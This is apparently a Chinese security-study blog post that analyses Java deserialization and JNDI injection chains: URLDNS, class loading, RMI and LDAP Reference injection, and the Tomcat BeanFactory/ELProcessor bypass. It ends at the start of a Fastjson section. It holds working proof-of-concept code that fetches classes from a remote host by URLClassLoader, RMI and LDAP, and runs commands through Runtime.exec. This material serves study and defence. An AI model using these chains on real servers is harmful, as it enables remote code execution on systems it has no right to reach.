Java反序列化链子详细分析合集1

67 分钟

前言

在平时渗透测试中能够看到很多的Java反序列化类的漏洞,诸如Fastjson、log4j、eureka xstream deserialization等等,但是作为Java安全方面的盲对Java反序列化各种链方面了解的并不多,但是这些链条又极为重要,有助于更好的理解各种漏洞的产出和原理,因此以下笔记开始从底慢慢学起。

为什么会产生安全问题?

服务器反序列化数据时,客户端传递类的readObject代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能的形式

  1. 入口类readObject直接调用危险方法。
  2. 入口类参数包含可控类,该类有危险方法,readObject时调用。
  3. 入口类参数中包含可控类,该类又有其它危险方法的类,readObject时调用。

满足条件

要实现一个反序列化的攻击,要满足的条件如下:

  1. 共同条件,继承Serizlizable。
  2. 入口类source,重写了readObject方法,类中调用了常见的一些函数,且函数的参数类型是宽泛的,最好是jdk本身自带的。
  3. 调用链,不停的调用相同的类型。
  4. 执行类sink:即需要有最终执行代码的代码的点

简单链分析(URLDNS)

首先介绍一下比较简单又比较符合上文的常见函数HashMap,HashMap最早出现在JDK1.2中,它的参数类型宽泛,几乎能够放入所有的参数类型,同时重写了readObject方法,至于为什么需要重写readObject类,可以大致看一下源码。

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

前面是对一些数据的规范化,应该是确保HashMap里面的数据一致性,后面才是关键,通过for循环,读取出了键值对,然后将键进行了Hash计算又重新放了回去,应该是为了保证Key的Hash唯一性,通过hash方法计算需要执行hashCode()方法,所以HashMap是很符合以上条件的。

其次我们来看一下URL类的,URL类中是存在hashCode()方法的,当HashCode的值不等于-1,就会调用URLStreamHandler方法中的hashCode()方法。

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

跳到URLStreamHandler方法中的hashCode()方法中,

    protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

函数中获取了协议类型,通过getHostAddress()获取ip地址,因此这里为触发DNS查询,再分别通过hashCode方法进行了hash计算,返回值后通过putVal()方法放入HashMap中。

所以当我们将URL类放入到HashMap中时,因为要计算hash,会触发hashCode()方法,HashCode方法中会调用gethostAddress触发dns查询,就能形成一条简单的利用链。HashMap.readObject()->HashMap.putVal()-> HashMap.hash()->URL.hashCode()。不过这里需要注意HashMap在put的时候,会调用hashCode()方法使得hashCode被缓存即hashCode为-1,必定会触发一次dns查询,这样就无法判断最终是否是反序列化导致的dns查询,因此这里需要在第一次put的时候通过反射机制将hashCode赋值为不等于-1,在put之后又让hashCode变回-1,确定dns查询是反序列化导致的。

关于反射机制:Java反射技术是指在运行时动态地获取类的信息并操作类的属性、方法和构造函数的一种机制。通过反射,可以在运行时获取类的成员变量、方法、构造函数等信息,并且可以在运行时通过这些信息来调用对象的方法、访问和修改对象的属性。

Java的反射API位于java.lang.reflect包中,主要包括三个核心类:Class、Field和Method。

类名作用
Class类表示一个类或接口,在运行时可以通过它来获取类的构造函数、成员变量、方法等信息
Field类表示一个类的成员变量,可以通过它来读取和修改对象的属性值
Method类表示一个类的方法,可以通过它来调用对象的方法

关于反射的一些简单使用如下:

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String [] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        Person person=new Person();
        Class<? extends Person> c=person.getClass(); //Class类可以看成了父类定义,可以通过操作此类对Person类进行操作

        //实例化对象
        Constructor<? extends Person> constructor=c.getConstructor(String.class,int.class);
        Person person1=constructor.newInstance("aiwin",21);
        System.out.println(person1);

        //获取类属性
        Field field=c.getDeclaredField("age"); //用于获取private私有属性
        field.setAccessible(true);
        field.set(person1,22);
        System.out.println(person1);

        //调用类里面的方法
        Method method=c.getMethod("changeAge",int.class);
        method.invoke(person1,23); //触发方法
        System.out.println(person1);
    }
}

URLDNS链触发例子:

序列化类:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static  void serialize(Object obj) throws IOException {
        ObjectOutputStream outputStream=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        outputStream.writeObject(obj);
    }

    public static void main(String [] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//        Person person=new Person("aiwin",21);
        HashMap<URL,Integer> hashMap=new HashMap<URL,Integer>();
        URL url=new URL("http://kcovilzouv.dnstunnel.run");
//        hashMap.put(url,1);
//        serialize(person);
        Class<? extends URL> c = url.getClass();
        Field filedhashCode = c.getDeclaredField("hashCode");
        filedhashCode.setAccessible(true); //设置为true可修改私有变量,解除访问修饰符的控制
        filedhashCode.set(url,222); //第一次查询的时候让他不等于-1
        hashMap.put(url,222);
        filedhashCode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
        serialize(hashMap);
    }

}

反序列化类:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserizlize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=objectInputStream.readObject();
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println(unserizlize("ser.bin"));
    }
}

可以发现在序列化的时候确实没触发dns查询,在反序列化的时候触发了dns查询。
file

动态代理

  1. Java动态代理是一种在运行时创建代理类和对象的机制,它可以在不修改源代码的情况下,为目标对象提供额外的功能或逻辑。通过动态代理,可以在方法调用前后做一些通用的处理,如记录日志、性能监测、事务管理等。
  2. Java动态代理基于接口实现,它利用反射机制来实现动态地创建代理类和代理对象。在运行时,代理类会实现与目标类相同的接口,并且将方法的调用委托给目标对象执行。通过动态代理,我们可以在不修改原有代码的情况下,增强目标对象的功能。
  3. Java提供了两种动态代理方式:基于接口的动态代理和基于类的动态代理。
  4. 在基于接口的动态代理中,我们需要定义一个实现InvocationHandler接口的代理类,在代理类中实现invoke()方法,该方法会在调用代理对象的方法时被执行。在invoke()方法中,我们可以进行一些前置和后置处理,并调用目标对象的方法。
  5. 在基于类的动态代理中,我们需要使用CGLib库来生成代理类。CGLib是一个强大的高性能字节码生成库,它通过继承目标类,动态生成代理类,从而实现对目标对象的代理。
  6. 使用动态代理可以在不改变源代码的情况下为目标对象添加通用的功能,提高代码的可维护性和灵活性。它在很多框架和库中被广泛应用,如Spring框架的AOP(面向切面编程)功能

动态代理在反序列化中的作用:readObject在反序列化中是自动执行的,而invoke在动态代理的函数调用中也是自动执行的,在漏洞利用中,如果当两条链没有实际的显式调用,但是使用了动态代理,可以通过动态代理进行隐式调用拼接两条链,不管前面执行任何方法,最后都会走到invoke()方法中。

动态代理简单例子:

Iuser接口:

package 动态代理;

public interface IUser {
    void show();
}

Iuser实现类:

package 动态代理;

public class UserImpl implements IUser{
    public UserImpl(){

    }
    @Override
    public void show() {
        System.out.println("调用了show方法");
    }

}

userproxy类:

package 动态代理;

public class UserProxy implements IUser {
    private UserImpl user;
    public void setUser(UserImpl user){
        this.user=user;
    }
    @Override
    public void show() {
        user.show();
        System.out.println("代理展示");
    }

}
package 动态代理;

import org.omg.CORBA.portable.InvokeHandler;

import java.lang.reflect.Proxy;

public class main {
    public static void main(String[] args){
        UserImpl user=new UserImpl();
        //静态调用
//        UserProxy userProxy=new UserProxy();
//        userProxy.setUser(user);
//        userProxy.show();
        
        //动态调用,需要的参数为类加载器、接口、触发控制器
        IUser userProxy= (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), new Class<?>[]{IUser.class},new UserInvocationHandler(user));
        userProxy.show();
    }
}

invokeHandler类:

package 动态代理;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
    IUser iUser;

    public UserInvocationHandler(){

    }
    public UserInvocationHandler(IUser iUser){
        this.iUser=iUser;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用了"+method.getName());
        method.invoke(iUser,args);
        return null;
    }
}

类加载机制

Java类加载机制是指在Java虚拟机(JVM)中将类的字节码加载到内存,并转换为可执行的Java对象的过程,由三部分组成:加载、连接、初始化。

  1. 加载(Loading):加载是指查找字节码文件,并创建一个对应的Class对象的过程。类加载器负责查找类文件,并将其字节码加载到内存中。在加载阶段,JVM需要完成以下动作:

    1. 查找并加载类的二进制数据。这可以通过本地文件系统、网络等途径来实现。
    2. 创建一个代表该类的Class对象,并将其存储在方法区(或称为永久代/元空间)中。
  2. 连接(Linking):连接是指将已加载的类与其他类以及它们所使用的符号引用进行关联的过程。连接分为三个阶段:

    1. 验证(Verification):确保被加载的类的字节码是有效、安全合规的
    2. 准备(Preparation):为类的静态变量分配内存空间,并设置默认初始值
    3. 解析(Resolution):将类、接口、方法等符号引用解析为直接引用,即具体的内存地址
  3. 初始化(Initialization):初始化是指对类的静态变量进行赋值,以及执行静态代码块(static块)的过程。在初始化阶段,JVM会按照顺序执行类的静态语句块和静态变量赋值操作。初始化是类加载过程的最后一步,类的实例化对象和静态方法首次调用都会触发初始化操作。

需要注意就是Java的类加载机制是延迟加载的,需要使用某个类的时才会进行加载,使用的是双亲委派模型机制,双亲委派模型简单来说就是当一个类加载器加载类的请求时,会按照一下步骤去加载:

  1. 检查该类是否已经被加载过,如果是则直接返回已加载的类。
  2. 如果类尚未被加载,那么将加载请求委托给父类加载器去加载。
  3. 如果父类加载器存在,并且父类加载器能够成功加载该类,则返回父类加载器的加载结果。
  4. 如果父类加载器不存在或者父类加载器无法加载该类,那么由当前类加载器加载该类。如果当前类加载器能够成功加载该类,则返回加载结果。
  5. 如果当前类加载器无法加载该类,那么抛出ClassNotFoundException异常。

这样子类的加载机制可以避免重复加载同一个类,确保类的全局唯一性,一般类的加载机制层级关系为:
Object->ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoder

类加载与反序列化

上面也说到,类加载的时候会去加载一个Java对象,并执行代码,因此可以通过动态类的加载方法加载任意的类从而实现一些命令执行的效果,以下是部分例子

  1. 通过URLClassLoader进行任意类的加载,比如使用jar、http、file协议等

编写一个Java的命令执行类,编译成class和jar形式

import java.io.IOException;
public class Test {
    public static void rce(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        URLClassLoader urlClassLoader=new URLClassLoader(new URL[]{new URL("http://120.79.29.170/test/")}); //jar file http协议都可
        String cmd="calc";
        Class<?> c=urlClassLoader.loadClass("Test");
        c.getMethod("rce",String.class).invoke(null,cmd);

  1. ClassLoader.defineClass字节码加载任意私有类
public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        Method defindClassMethod=ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defindClassMethod.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
        Class defineclass= (Class) defindClassMethod.invoke(classLoader,"Test",code,0,code.length);
        defineclass.newInstance();
    }
  1. Unsafe.defineClass字节码加载不能直接生成的public类
public class loaderClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
          ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        byte[] code= Files.readAllBytes(Paths.get("A:\\下载\\tmp\\Test.class"));
        Class c = Unsafe.class;
        Field theUafeField=c.getDeclaredField("theUnsafe");
        theUafeField.setAccessible(true);
        Unsafe unsafe= (Unsafe) theUafeField.get(null);
        Class c2=unsafe.defineClass("Test",code,0,code.length,classLoader,null);
        c2.newInstance();
    }
Unsafe类的构造被私有化的,Unsafe类对外只提供一个静态方法来获取当前Unsafe实例,Unsafe是一个底层类,源码中有很多native标签,底层实现代码是C,因此Unsafe类只会被BootstrapClassLoader加载,在调用Unsafe对象时会判断当前加载器是否为空,如果不为空,则为抛出SecurityException异常,这样是为了防止ApplicationCloader去调用Unsafe对象,因此ApplicationCloader要加载UnSafe类需要通过反射获取一个Unsafe对象。
public final class Unsafe {
    private static final Unsafe theUnsafe;
    public static final int INVALID_FIELD_OFFSET = -1;
    public static final int ARRAY_BOOLEAN_BASE_OFFSET;
    public static final int ARRAY_BYTE_BASE_OFFSET;
    public static final int ARRAY_SHORT_BASE_OFFSET;
    public static final int ARRAY_CHAR_BASE_OFFSET;
    public static final int ARRAY_INT_BASE_OFFSET;
    public static final int ARRAY_LONG_BASE_OFFSET;
    public static final int ARRAY_FLOAT_BASE_OFFSET;
    public static final int ARRAY_DOUBLE_BASE_OFFSET;
    public static final int ARRAY_OBJECT_BASE_OFFSET;
    public static final int ARRAY_BOOLEAN_INDEX_SCALE;
    public static final int ARRAY_BYTE_INDEX_SCALE;
    public static final int ARRAY_SHORT_INDEX_SCALE;
    public static final int ARRAY_CHAR_INDEX_SCALE;
    public static final int ARRAY_INT_INDEX_SCALE;
    public static final int ARRAY_LONG_INDEX_SCALE;
    public static final int ARRAY_FLOAT_INDEX_SCALE;
    public static final int ARRAY_DOUBLE_INDEX_SCALE;
    public static final int ARRAY_OBJECT_INDEX_SCALE;
    public static final int ADDRESS_SIZE;

    private static native void registerNatives();

    private Unsafe() {
    }

    @CallerSensitive
    public static Unsafe getUnsafe() {
        Class var0 = Reflection.getCallerClass();
        if (!VM.isSystemDomainLoader(var0.getClassLoader())) {
            throw new SecurityException("Unsafe");
        } else {
            return theUnsafe;
        }
    }

JNDI

  1. JDNI的全称是Java Directory and Naming Interface(Java目录和命名接口),它是Java平台提供的一种用于管理和查询分布式命名和目录服务的API。JDNI提供了一套标准的Java API,可以用于在Java应用程序中访问不同类型的目录和命名服务,如LDAP(轻量级目录访问协议)服务器、企业命名和目录服务(包括CORBA命名服务、NIS和Active Directory等)以及其他自定义实现的命名和目录服务。通过JDNI,开发人员可以在Java应用程序中使用统一的方式来访问这些分布式的命名和目录服务
  2. 一般来说,在Java SE平台中,要使用JNDI,必须要有JNDI类和一个或多个服务提供者,JDK默认包括以下命名/目录服务的提供者:

    1. 轻量级目录访问协议(LDAP)
    2. 通用对象请求代理架构(CORBA)通用对象服务(COS)名称服务
    3. Java远程方法调用(RMI)注册表
    4. 域名服务(DNS)

RMI

  1. RMI是Java的一种远程方法的调用的机制,用于实现远程通信和分布式计算,允许在网络上不同的JVM中相互调用方法,可以让远程服务区实现具体的Java方法并且提供接口,客户端提供相应参数即可调用远程方法。RMI协议的通信协议使用的是JRMP,要求服务端和客户端偶读需要Java编写的,并且传输时通过序列化进行编码传输。
  2. 既然是序列化进行编码传输的,那么调用远程方法时,响应的必须必须是实现了java.io.Serializable 接口的,并且在远程对象的方法中需要实现java.rmi.Remote 接口,远程对象的实现类必须继承UnicastRemoteObject类。
  3. 此处RMI要进行远程调用,涉及了一个远程对象Stub,Stub对象上包含了远程对象的端口,地址等各种信息,并实现了网络通信的细节,Java提供了一个RMIRegistry来注册一个远程对象,默认在1099端口中,通过这个方法可以创建一个Stub对象来对远程对象进行代理。

stub在调用远程对象时提供的功能如下:

  1. Stub中为客户端提供了Server端远程对象的通信地址和端口以及底层的网络操作
  2. 客户端通过调用Stub中的方法,Stub连接到Server端监听的端口并提交参数,并记录好Server端的执行结果,最后Stub将结果返回到客户端完成了远程调用。

RMI远程服务创建流程

我们来对RMI的创建进行调试,大致查看下它远程服务的创建流程是什么样子的。

  1. 首先它进入了UnicastRemoteObject的exportObject方法中,传入了继承于 UnicastRemoteObject的对象以及新创建了一个UnicastServerRef类,参数为port=0,UnicastServerRef可以看作就是一个服务端的引用对象。

file

  1. 进入UnicastServerRef中,新创建了一个LiveRef类,传入的依旧是参数0,并对一些参数进行了默认赋值。

file

  1. LiveRef中创建了一个ObjID,这个就是一个ID号,可以看作是对象的标识号,不重要。再往下走,可以看到LiveRef中创建了一个TCPEndpoint,用于进行网络传输即TCP连接,通过getLocalEndpoint()方法里面的resampleLocalHost()返回当前计算机的监听的IP地址。

file

file

  1. 然后进去了LiveRef的方法中对id,是否本地等进行了赋值。

file

  1. 经过一系列返回后,再进入了exportObject方法中,将sref即我们刚才创建的LiveRef对象赋值给了ref,进入了UnicastServerRef即服务端的exportObject方法中。

file

  1. 在UnicastServerRef的exportObject方法中,通过createProxy()创建了一个代理,在里面判断是否存在对象的stub,若存在则直接创建stub,不存在则获取远程接口并创建一个远程对象的操作类,再调用run方法将代理对象实例化。

file

  1. 创建了一个Target类后,进入了TCPTransport类中的exportObject()方法通过listen()开启了监听,listen方法中调用newServerSocket()方法开启了一个Socket监听,此时的端口还是0,通过createServerSocket就会分配一个随机的端口,返回一个Socket的对象,通过start方法开启监听,到目前为止已经将远程对象发布了出去,这里涉及一个问题就是客户端该如何找到服务器的端口号?

file

  1. 这里客户端需要找到服务端发布对象的端口,需要进行一个记录,它会把它put进去两个Map中,把它保存到了一个静态的表中,最后就完成了远程服务的创建。
    file

整体的发布思路就是创建了UnicastServerRef服务端的引用和UnicastRef客户端的引用,两者都通过LiveRef即真正处理网络请求的引用来进行通信,LiveRef通过创建TCPEndPoint获取host和port进行监听,通过里面的TCPtransport处理真正的网络请求。

JNDI RMI注入

  1. JNDI注入的本质其实还是类加载的问题,通过Reference类来重绑定一个远程对象,当客户端通过lookup()接口来查找远程对象的时,导致了远程的恶意类别加载执行,这里需要注意的是在某些JDK版本中如8u113这些Java提升了JNDI的安全性,限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性,默认不允许从远程的Codebase加载Reference的工厂类,需要com.sun.jndi.rmi.object.trustURLCodebase设置为true。

file

下面我们简单来写个例子并分析下执行的流程:

  1. 首先编写一个RMIServer服务器,RemoteObjImpl实现Remote接口并继承UnicastRemoteObject,并通过createRegistry注册一个stub对象:
package RMIjndi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        RemoteObjImpl remoteObj=new RemoteObjImpl();
        Registry registry= LocateRegistry.createRegistry(1099);
        registry.bind("remoteObj",remoteObj);
    }
}
  1. 编写一个RMI客户端,创建上下文,通过lookup()接口来调用远程对象
package RMIjndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext initialContext=new InitialContext();
        IRemoteObj iRemoteObj= (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(iRemoteObj.sayHello("Hi"));
    }
}
  1. 再创建一个类,通过reference类来引用一个对象并进行重绑定。
package RMIjndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;

public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext=new InitialContext();
        Reference reference=new Reference("Test","Test","http://120.79.29.170:7777/");
        initialContext.rebind("rmi://localhost:1099/remoteObj",reference);
//        initialContext.rebind("rmi://localhost:1099/remoteObj",new RemoteObjImpl());
    }
}

首先看一下Reference类,需要的参数是一个类命,工厂对象和工厂对象URL的定位,
file

在进行lookup的时,调用的是原生的lookup方法进行查找
file

直至走到下面,会进行一个对象的解码,在解码的逻辑中,一开始的使用的是ReferenceWrapper_stub接口,因为ReferenceWrapper_stub属于RemoteReference,调用getReference()方法获取到远程的对象类名,并将ReferenceWrapper_stub变回Reference类,直至进入getObjectInstance()才开始执行代码。这里可以看到进行了trustURLcodebase的判断,如果它不会true会抛出异常,不会走到代码执行的方法中。
file

创建一个factory工厂类对象,并进行初始化。
file

获取工厂对象的ClassName()后,进入到了getObjectFactoryFromReference()方法,通过factory类将Reference引用实例化为一个远程的对象。
file

在getObjectFactoryFromReference()方法中进行了loadClass开始了类加载。
file

使用URLClassLoader方法,从远程的URLcodebase中初始化加载远程对象类,并且返回。
file

最后通过newInstance()将远程加载的对象实例化,导致远程恶意代码的执行,这里的CodeBase的值其实就是返回的FactoryLocation。
file

调用链其实就是:
RegistryContext.decodeObject()->NamingManager.getObjectInstance()->factory.getObjectInstance()

JNDI LDAP注入

  1. LDAP是一种用于访问和管理分布式目录服务的协议,它提供了一种标准化的方法来组织、查询和操作目录信息。它在企业和网络环境中广泛应用,可用于实现诸如用户认证、权限管理和资源访问控制等功能。
  2. JNDI除了可以对接LDAP服务,还可以对接LDAP服务,LDAP也能够返回一个JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址,不过使用LDAP服务的Reference远程加载Factory类中不受到com.sun.jndi.rmi.object.trustURLCodebase要为true的属性限制。不过在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false进行了修复。

使用简单例子分析与RMI的不同:

客户端使用ldap寻找恶意LDAP对象:

package RMIjndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILADP {

    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://120.79.29.170:1389/Test");
    }

}

在服务器上开启LDAP服务器,并指向存放着Test弹计算器恶意对象的Test.class,计算器弹出成功
file

file

调试一下代码,分析下关键的原因:

  1. 先从LDAP路径的URL中解析对象,使用LdapCtx的类来调用lookup接口,参数为要获取的对象Test
    file
  2. 这里通过lookup()接口再进入了一个for循环,然后进入到了ComponentContext中的p_lookup()方法
    file
  3. 通过p_resolveIntermediate得到var4为2,进入到了case为2中,再进入了LdapCtx类的c_lookup()方法中
    file
  4. 创建了SearchControls类,设置了搜索的范围取值,设置了返回所有输学,以及允许返回Java对象,通过doSearchOnce()方法寻找Test对象,寻得DN为Test,attrs属性有又工程类,codebase等等,随后把entries中的属性取出来,赋值给了一个LDAPEntry对象,把里面的attrs属性给了var4,进入了decodeObject方法。
    file
    file
  5. 再往下走会来到一个 DirectoryManager.getObjectInstance()的方法中,与之前NamingManager不同的类。
    file
  6. 随后的步骤与RMI基本一致,进入工程类获取Reference的方法中,再从codebase中加载Test类,使用URLClassLoader远程加载类后,使用Class.forName()动态加载一个类,通过newInstance()方法进行实例化,从而导致了恶意类被执行。
    file
    file

JNDI注入高版本绕过

  1. 像前面说的,利用RMI、LDAP进行JNDI注入等,都逐渐在被修复,像RMI通过加了trustURLCodebase是布尔值来限制直接从codebase中动态加载类,LDAP在高版本中也加了限制,只不过加的比RMI晚,LDAP在loadClass()和后面进行loadClass()类加载时,增加了if语句判断TRUST_URL_CODE_BASE的值是否为true,不为true则直接返回了空值,因为无法实现LDAP远程注入。

file

  1. 那么有没有一些其它的利用方式,或者通过其它的链子能够直接绕过TRUST_URL_CODE_BASE的判断,直接实现恶意类的加载呢?从前面的代码分析可以看到,无论是RMI或者LDAP,当factory获取到不为空的时,都会进入factory.getObjectInstance()方法中,因此可以从重写了factory的getObjectInstance()的类中寻找。
  2. 找到比较适合的方法有Tomcat中的BeanFactory类,它重写了getObjectInstance()方法,它的绕过直接将漏洞的利用面从仅仅只能从ObjectFactory实现类的getObjectInstance方法利用扩展为method.invoke()的使用,可以调用任意类的任意方法的机会,不过对任意类有一定的限制,至于为什么这样,从下方调试即可看到:

    1. 该类必须包含public无参构造方法
    2. 调用的方法必须是public方法
    3. 调用的方法只有一个参数并且参数类型为String类型

file

像以上符合条件的常用利用类,一般有:javax.el.ELProcessor#eval执行命令(Tomcat 8之后引入),groovy.lang.GroovyShell#evaluate(java.lang.String)通过Grooxy执行命令等。

  1. Tomcat9以上已经对这种利用进行了一定的修复, 我们可以搭建Tomcat8的环境,通过javax.el.ELProcessor方式来达到RCE,来调试一下看下整个流程是怎么走的。

首先直接通过springboot的方法引入tomcat依赖以及EL表达式:

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-el-api</artifactId>
            <version>8.5.35</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
            <version>1.5.18.RELEASE</version>
            <scope>compile</scope>
        </dependency>

    <properties>
        <java.version>1.8</java.version>
        <tomcat.version>8.5.35</tomcat.version>
    </properties>

正常启动一个RMI服务,然后进行重绑定操作。

package com.example.demo;

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
public class JNDIRMIServer {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
        initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
    }
}

首先前面与普通的RMI注入流程没什么两样,都是经过原生registry的lookup()接口后,进入了decodeObject()方法对对象进行解码,随后进入了NamingManger.getObjectInstance()方法中

file

通过getObjectFactoryReference()从重绑定的factory中获取到Tomcat的BeanFactory方法,随后进入到了BeanFactory的重写方法中。
file

传入的方法参数具体如下:
file

进入到方法中后,首先将Java.el.ELProcesser赋值给了beanClassName,然后从当前线程获取了一个上下文的类加载器,通过类加载器加载了Javax.el.ELProcess赋值给了beanClass,

file

经过Introspector.getBeanInfo获取Java.el.ELProcesser的属性名称、类型、读写方法等赋值给了pda,实例化了Java.el.ELProcesser对象给了bean,从Reference中获取到forceString的值为x=eval赋值给了value,然后以,分割value的值,赋值给了arr数组,遍历arr数组,通过索引进行分割,将x作为key,javax.el.ELProcessor.eval(java.lang.String)为值放入HashMap中。

file

然后经过不断的遍历addrs的内容,将Runtime.getRuntime().exec('calc')取出赋值给了value,再创建了一个对象数组,从HashMap寄forced中取出x的值即javax.el.ELProcessor.eval(java.lang.String)赋值给了method方法,再传入value以及实例化ELProcessor类,通过method.invoke()触发方法,造成恶意类的执行。

file

file

FastJson反序列化漏洞

FastJson提供了快速、高效地将JSON数据解析为Java对象,或者将Java对象转换为JSON格式的字符串的能力。FastJson具有简单易用、性能优异等特点,广泛应用于Java开发中处理JSON数据的场景。可能是为了满足更多的功能化需要,所以Fastjson在解析的时候允许动态的实例化类,可以使用@type标签能够根据这个字段的值确定要实例化的对象类型,完成反序列化的需求,会自动调用@type标签中的setter、getter方法。

file

可以看到是通过循环遍历的方式,分别遍历了set方法、公开或静态的成员变量和get方法,但是可以看到并不是所有的get方法都能够被调用,只有这个get方法是Map、Collection、AtomicLong等等的这些类型或者是无参数的公共无返回值get()方法,或公共有参的get()方法,参数类型与对应字段类型一致。

set开头的方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1

get 开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • get开头且第四个字母大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AutomicInteger AtomicLong

既然我们知晓Fastjson能够调用所有的set方法以及满足条件的get方法,因此就可以寻找一些链子即某些类中的set或get方法能够进行恶意类的加载等形式造成危害。

JdbcRowSetImpl链(出网)

JdbcRowSetImpl链主要是因为JdbcRowSetImpl的connection方法中存在lookup()方法,而lookup()方法中的参数this.getDataSourceName()刚好可以通过set方法来进行控制,并且继续往上找,找到了setAutoCommit方法刚好又调用了connect()方法,因此这样就可以通过lookup()进行loadClass()恶意动态加载类导致命令执行。

package com.example.demo;

